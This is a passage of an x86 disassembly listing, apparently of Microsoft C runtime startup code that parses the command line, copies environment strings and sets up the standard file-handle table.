; ---------------------------------------------------------------------------


loc_427EE2:				; CODE XREF: sub_427E10+56j
					; sub_427E10+60j
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_427F04
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_427F04:				; CODE XREF: sub_427E10+E3j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_427F18
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_427F18:				; CODE XREF: sub_427E10+FDj
		jmp	loc_427FEC
; ---------------------------------------------------------------------------


loc_427F1D:				; CODE XREF: sub_427E10+3Ej
					; sub_427E10+1B1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_427F43
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_427F43:				; CODE XREF: sub_427E10+11Ej
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4DE541[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_427F9B
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_427F92
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_427F92:				; CODE XREF: sub_427E10+16Dj
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_427F9B:				; CODE XREF: sub_427E10+15Aj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		cmp	edx, 20h
		jz	short loc_427FC7
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_427FC7
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		cmp	ecx, 9
		jnz	loc_427F1D


loc_427FC7:				; CODE XREF: sub_427E10+197j
					; sub_427E10+1A3j
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_427FDF
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_427FEC
; ---------------------------------------------------------------------------


loc_427FDF:				; CODE XREF: sub_427E10+1C2j
		cmp	[ebp+arg_8], 0
		jz	short loc_427FEC
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx-1], 0


loc_427FEC:				; CODE XREF: sub_427E10:loc_427F18j
					; sub_427E10+1CDj ...
		mov	[ebp+var_14], 0


loc_427FF3:				; CODE XREF: sub_427E10+3F6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42801E


loc_427FFD:				; CODE XREF: sub_427E10+20Cj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_428013
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42801E


loc_428013:				; CODE XREF: sub_427E10+1F6j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_427FFD
; ---------------------------------------------------------------------------


loc_42801E:				; CODE XREF: sub_427E10+1EBj
					; sub_427E10+201j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42802D
		jmp	loc_42820B
; ---------------------------------------------------------------------------


loc_42802D:				; CODE XREF: sub_427E10+216j
		cmp	[ebp+arg_4], 0
		jz	short loc_428044
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_428044:				; CODE XREF: sub_427E10+221j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_428051:				; CODE XREF: sub_427E10+3CFj
		mov	[ebp+var_8], 1
		mov	[ebp+var_10], 0


loc_42805F:				; CODE XREF: sub_427E10+26Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_42807E
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_42805F
; ---------------------------------------------------------------------------


loc_42807E:				; CODE XREF: sub_427E10+258j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_4280DA
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 2
		div	ecx
		test	edx, edx
		jnz	short loc_4280D2
		cmp	[ebp+var_14], 0
		jz	short loc_4280BF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 22h
		jnz	short loc_4280B6
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4280BD
; ---------------------------------------------------------------------------


loc_4280B6:				; CODE XREF: sub_427E10+299j
		mov	[ebp+var_8], 0


loc_4280BD:				; CODE XREF: sub_427E10+2A4j
		jmp	short loc_4280C6
; ---------------------------------------------------------------------------


loc_4280BF:				; CODE XREF: sub_427E10+28Dj
		mov	[ebp+var_8], 0


loc_4280C6:				; CODE XREF: sub_427E10:loc_4280BDj
		xor	edx, edx
		cmp	[ebp+var_14], 0
		setz	dl
		mov	[ebp+var_14], edx


loc_4280D2:				; CODE XREF: sub_427E10+287j
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_10], eax


loc_4280DA:				; CODE XREF: sub_427E10+277j
					; sub_427E10+2FCj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_42810E
		cmp	[ebp+arg_8], 0
		jz	short loc_4280FF
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx


loc_4280FF:				; CODE XREF: sub_427E10+2DEj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jmp	short loc_4280DA
; ---------------------------------------------------------------------------


loc_42810E:				; CODE XREF: sub_427E10+2D8j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_428134
		cmp	[ebp+var_14], 0
		jnz	short loc_428139
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_428134
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_428139


loc_428134:				; CODE XREF: sub_427E10+306j
					; sub_427E10+317j
		jmp	loc_4281E4
; ---------------------------------------------------------------------------


loc_428139:				; CODE XREF: sub_427E10+30Cj
					; sub_427E10+322j
		cmp	[ebp+var_8], 0
		jz	loc_4281D6
		cmp	[ebp+arg_8], 0
		jz	short loc_42819D
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4DE541[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_428188
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx


loc_428188:				; CODE XREF: sub_427E10+34Dj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_4281C9
; ---------------------------------------------------------------------------


loc_42819D:				; CODE XREF: sub_427E10+337j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4DE541[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4281C9
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_4281C9:				; CODE XREF: sub_427E10+38Bj
					; sub_427E10+3A1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx


loc_4281D6:				; CODE XREF: sub_427E10+32Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_428051
; ---------------------------------------------------------------------------


loc_4281E4:				; CODE XREF: sub_427E10:loc_428134j
		cmp	[ebp+arg_8], 0
		jz	short loc_4281F9
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx


loc_4281F9:				; CODE XREF: sub_427E10+3D8j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		jmp	loc_427FF3
; ---------------------------------------------------------------------------


loc_42820B:				; CODE XREF: sub_427E10+218j
		cmp	[ebp+arg_4], 0
		jz	short loc_428223
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx


loc_428223:				; CODE XREF: sub_427E10+3FFj
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_427E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428240	proc near		; CODE XREF: sub_41AB00+BEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0
		cmp	dword_4DE194, 0
		jnz	short loc_42829A
		call	dword_4E031C	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_428278
		mov	dword_4DE194, 1
		jmp	short loc_42829A
; ---------------------------------------------------------------------------


loc_428278:				; CODE XREF: sub_428240+2Aj
		call	dword_4E0320	; GetEnvironmentStringsA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_428293
		mov	dword_4DE194, 2
		jmp	short loc_42829A
; ---------------------------------------------------------------------------


loc_428293:				; CODE XREF: sub_428240+45j
		xor	eax, eax
		jmp	loc_428455
; ---------------------------------------------------------------------------


loc_42829A:				; CODE XREF: sub_428240+1Bj
					; sub_428240+36j ...
		cmp	dword_4DE194, 1
		jnz	loc_42839E
		cmp	[ebp+var_14], 0
		jnz	short loc_4282C3
		call	dword_4E031C	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4282C3
		xor	eax, eax
		jmp	loc_428455
; ---------------------------------------------------------------------------


loc_4282C3:				; CODE XREF: sub_428240+6Bj
					; sub_428240+7Aj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax


loc_4282C9:				; CODE XREF: sub_428240:loc_4282F3j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_4282F5
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_4282F3
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax


loc_4282F3:				; CODE XREF: sub_428240+A8j
		jmp	short loc_4282C9
; ---------------------------------------------------------------------------


loc_4282F5:				; CODE XREF: sub_428240+93j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_14]
		sar	ecx, 1
		add	ecx, 1
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_428344
		push	64h
		push	offset dword_4353D0
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_428355


loc_428344:				; CODE XREF: sub_428240+E4j
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_4E0324	; FreeEnvironmentStringsW
		xor	eax, eax
		jmp	loc_428455
; ---------------------------------------------------------------------------


loc_428355:				; CODE XREF: sub_428240+102j
		push	0
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	dword_4E0424	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_42838C
		push	2
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_415C60
		add	esp, 8
		mov	[ebp+var_18], 0


loc_42838C:				; CODE XREF: sub_428240+135j
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_4E0324	; FreeEnvironmentStringsW
		mov	eax, [ebp+var_18]
		jmp	loc_428455
; ---------------------------------------------------------------------------


loc_42839E:				; CODE XREF: sub_428240+61j
		cmp	dword_4DE194, 2
		jnz	loc_428453
		cmp	[ebp+var_18], 0
		jnz	short loc_4283C7
		call	dword_4E0320	; GetEnvironmentStringsA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_4283C7
		xor	eax, eax
		jmp	loc_428455
; ---------------------------------------------------------------------------


loc_4283C7:				; CODE XREF: sub_428240+16Fj
					; sub_428240+17Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_C], eax


loc_4283CD:				; CODE XREF: sub_428240:loc_4283F3j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4283F5
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_4283F3
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_4283F3:				; CODE XREF: sub_428240+1A8j
		jmp	short loc_4283CD
; ---------------------------------------------------------------------------


loc_4283F5:				; CODE XREF: sub_428240+195j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		push	8Fh
		push	offset dword_4353D0
		push	2
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_428430
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_4E04D0	; FreeEnvironmentStringsA
		xor	eax, eax
		jmp	short loc_428455
; ---------------------------------------------------------------------------


loc_428430:				; CODE XREF: sub_428240+1E0j
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_419330
		add	esp, 0Ch
		mov	ecx, [ebp+var_18]
		push	ecx
		call	dword_4E04D0	; FreeEnvironmentStringsA
		mov	eax, [ebp+var_C]
		jmp	short loc_428455
; ---------------------------------------------------------------------------


loc_428453:				; CODE XREF: sub_428240+165j
		xor	eax, eax


loc_428455:				; CODE XREF: sub_428240+55j
					; sub_428240+7Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_428240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428460	proc near		; CODE XREF: sub_41AB00+AEp

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_16		= dword	ptr -16h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	81h
		push	offset dword_4353D8
		push	2
		push	480h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_428492
		push	1Bh
		call	sub_41AC70
		add	esp, 4


loc_428492:				; CODE XREF: sub_428460+26j
		mov	eax, [ebp+var_50]
		mov	dword_4DE320, eax
		mov	dword_4DE420, 20h
		jmp	short loc_4284AF
; ---------------------------------------------------------------------------


loc_4284A6:				; CODE XREF: sub_428460+81j
		mov	ecx, [ebp+var_50]
		add	ecx, 24h
		mov	[ebp+var_50], ecx


loc_4284AF:				; CODE XREF: sub_428460+44j
		mov	edx, dword_4DE320
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_4284E3
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_4284A6
; ---------------------------------------------------------------------------


loc_4284E3:				; CODE XREF: sub_428460+5Ej
		lea	ecx, [ebp+var_48]
		push	ecx
		call	dword_4E0458	; GetStartupInfoA
		mov	edx, [ebp+var_16]
		and	edx, 0FFFFh
		test	edx, edx
		jz	loc_428685
		cmp	[ebp+var_16+2],	0
		jz	loc_428685
		mov	eax, [ebp+var_16+2]
		mov	ecx, [eax]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_16+2]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_64]
		mov	[ebp+var_60], eax
		cmp	[ebp+var_64], 800h
		jge	short loc_428533
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_68], ecx
		jmp	short loc_42853A
; ---------------------------------------------------------------------------


loc_428533:				; CODE XREF: sub_428460+C9j
		mov	[ebp+var_68], 800h


loc_42853A:				; CODE XREF: sub_428460+D1j
		mov	edx, [ebp+var_68]
		mov	[ebp+var_64], edx
		mov	[ebp+var_5C], 1
		jmp	short loc_428552
; ---------------------------------------------------------------------------


loc_428549:				; CODE XREF: sub_428460:loc_4285EDj
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax


loc_428552:				; CODE XREF: sub_428460+E7j
		mov	ecx, dword_4DE420
		cmp	ecx, [ebp+var_64]
		jge	loc_4285F2
		push	0B6h
		push	offset dword_4353D8
		push	2
		push	480h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_42858E
		mov	edx, dword_4DE420
		mov	[ebp+var_64], edx
		jmp	short loc_4285F2
; ---------------------------------------------------------------------------


loc_42858E:				; CODE XREF: sub_428460+121j
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_50]
		mov	dword_4DE320[eax*4], ecx
		mov	edx, dword_4DE420
		add	edx, 20h
		mov	dword_4DE420, edx
		jmp	short loc_4285B5
; ---------------------------------------------------------------------------


loc_4285AC:				; CODE XREF: sub_428460+18Bj
		mov	eax, [ebp+var_50]
		add	eax, 24h
		mov	[ebp+var_50], eax


loc_4285B5:				; CODE XREF: sub_428460+14Aj
		mov	ecx, [ebp+var_5C]
		mov	edx, dword_4DE320[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_4285ED
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_4285AC
; ---------------------------------------------------------------------------


loc_4285ED:				; CODE XREF: sub_428460+168j
		jmp	loc_428549
; ---------------------------------------------------------------------------


loc_4285F2:				; CODE XREF: sub_428460+FBj
					; sub_428460+12Cj
		mov	[ebp+var_58], 0
		jmp	short loc_428616
; ---------------------------------------------------------------------------


loc_4285FB:				; CODE XREF: sub_428460:loc_428680j
		mov	ecx, [ebp+var_58]
		add	ecx, 1
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_60]
		add	eax, 4
		mov	[ebp+var_60], eax


loc_428616:				; CODE XREF: sub_428460+199j
		mov	ecx, [ebp+var_58]
		cmp	ecx, [ebp+var_64]
		jge	short loc_428685
		mov	edx, [ebp+var_60]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_428680
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_428680
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		and	eax, 8
		test	eax, eax
		jnz	short loc_428650
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		push	edx
		call	dword_4E0314	; GetFileType
		test	eax, eax
		jz	short loc_428680


loc_428650:				; CODE XREF: sub_428460+1DEj
		mov	eax, [ebp+var_58]
		sar	eax, 5
		mov	ecx, [ebp+var_58]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax+4], dl


loc_428680:				; CODE XREF: sub_428460+1C4j
					; sub_428460+1D1j ...
		jmp	loc_4285FB
; ---------------------------------------------------------------------------


loc_428685:				; CODE XREF: sub_428460+98j
					; sub_428460+A2j ...
		mov	[ebp+var_58], 0
		jmp	short loc_428697
; ---------------------------------------------------------------------------


loc_42868E:				; CODE XREF: sub_428460:loc_42876Fj
		mov	eax, [ebp+var_58]
		add	eax, 1
		mov	[ebp+var_58], eax


loc_428697:				; CODE XREF: sub_428460+22Cj
		cmp	[ebp+var_58], 3
		jge	loc_428774
		mov	ecx, [ebp+var_58]
		imul	ecx, 24h
		mov	edx, dword_4DE320
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_428760
		mov	ecx, [ebp+var_50]
		mov	byte ptr [ecx+4], 81h
		cmp	[ebp+var_58], 0
		jnz	short loc_4286D4
		mov	[ebp+var_6C], 0FFFFFFF6h
		jmp	short loc_4286E4
; ---------------------------------------------------------------------------


loc_4286D4:				; CODE XREF: sub_428460+269j
		mov	edx, [ebp+var_58]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		add	edx, 0FFFFFFF5h
		mov	[ebp+var_6C], edx


loc_4286E4:				; CODE XREF: sub_428460+272j
		mov	eax, [ebp+var_6C]
		push	eax
		call	dword_4E0468	; GetStdHandle
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0FFFFFFFFh
		jz	short loc_42874F
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	dword_4E0314	; GetFileType
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jz	short loc_42874F
		mov	edx, [ebp+var_50]
		mov	eax, [ebp+var_4C]
		mov	[edx], eax
		mov	ecx, [ebp+var_54]
		and	ecx, 0FFh
		cmp	ecx, 2
		jnz	short loc_428730
		mov	edx, [ebp+var_50]
		mov	al, [edx+4]
		or	al, 40h
		mov	ecx, [ebp+var_50]
		mov	[ecx+4], al
		jmp	short loc_42874D
; ---------------------------------------------------------------------------


loc_428730:				; CODE XREF: sub_428460+2BEj
		mov	edx, [ebp+var_54]
		and	edx, 0FFh
		cmp	edx, 3
		jnz	short loc_42874D
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 8
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_42874D:				; CODE XREF: sub_428460+2CEj
					; sub_428460+2DCj
		jmp	short loc_42875E
; ---------------------------------------------------------------------------


loc_42874F:				; CODE XREF: sub_428460+295j
					; sub_428460+2A8j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 40h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_42875E:				; CODE XREF: sub_428460:loc_42874Dj
		jmp	short loc_42876F
; ---------------------------------------------------------------------------


loc_428760:				; CODE XREF: sub_428460+258j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 80h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_42876F:				; CODE XREF: sub_428460:loc_42875Ej
		jmp	loc_42868E
; ---------------------------------------------------------------------------


loc_428774:				; CODE XREF: sub_428460+23Bj
		mov	eax, dword_4DE420
		push	eax
		call	dword_4E0318	; SetHandleCount
		mov	esp, ebp
		pop	ebp
		retn
sub_428460	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4287A8
; ---------------------------------------------------------------------------


loc_42879F:				; CODE XREF: .data:loc_428822j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax


loc_4287A8:				; CODE XREF: .data:0042879Dj
		cmp	dword ptr [ebp-8], 40h
		jge	short loc_428827
		mov	ecx, [ebp-8]
		cmp	dword_4DE320[ecx*4], 0
		jz	short loc_428822
		mov	edx, [ebp-8]
		mov	eax, dword_4DE320[edx*4]
		mov	[ebp-4], eax
		jmp	short loc_4287D3
; ---------------------------------------------------------------------------


loc_4287CA:				; CODE XREF: .data:loc_4287FDj
		mov	ecx, [ebp-4]
		add	ecx, 24h
		mov	[ebp-4], ecx


loc_4287D3:				; CODE XREF: .data:004287C8j
		mov	edx, [ebp-8]
		mov	eax, dword_4DE320[edx*4]
		add	eax, 480h
		cmp	[ebp-4], eax
		jnb	short loc_4287FF
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_4287FD
		mov	edx, [ebp-4]
		add	edx, 0Ch
		push	edx
		call	dword_4E03B0	; RtlDeleteCriticalSection


loc_4287FD:				; CODE XREF: .data:004287EEj
		jmp	short loc_4287CA
; ---------------------------------------------------------------------------


loc_4287FF:				; CODE XREF: .data:004287E5j
		push	2
		mov	eax, [ebp-8]
		mov	ecx, dword_4DE320[eax*4]
		push	ecx
		call	sub_415C60
		add	esp, 8
		mov	edx, [ebp-8]
		mov	dword_4DE320[edx*4], 0


loc_428822:				; CODE XREF: .data:004287B9j
		jmp	loc_42879F
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: .data:004287ACj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428830	proc near		; CODE XREF: sub_41AC70+Cp
					; sub_41ACA0+Cp
		push	ebp
		mov	ebp, esp
		cmp	dword_4DDFD8, 1
		jz	short loc_42884E
		cmp	dword_4DDFD8, 0
		jnz	short loc_428877
		cmp	dword_444ED4, 1
		jnz	short loc_428877


loc_42884E:				; CODE XREF: sub_428830+Aj
		push	0FCh
		call	sub_428880
		add	esp, 4
		cmp	dword_4DE198, 0
		jz	short loc_42886A
		call	dword_4DE198


loc_42886A:				; CODE XREF: sub_428830+32j
		push	0FFh
		call	sub_428880
		add	esp, 4


loc_428877:				; CODE XREF: sub_428830+13j
					; sub_428830+1Cj
		pop	ebp
		retn
sub_428830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428880	proc near		; CODE XREF: sub_41AC70+15p
					; sub_41ACA0+15p ...

var_1B0		= byte ptr -1B0h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

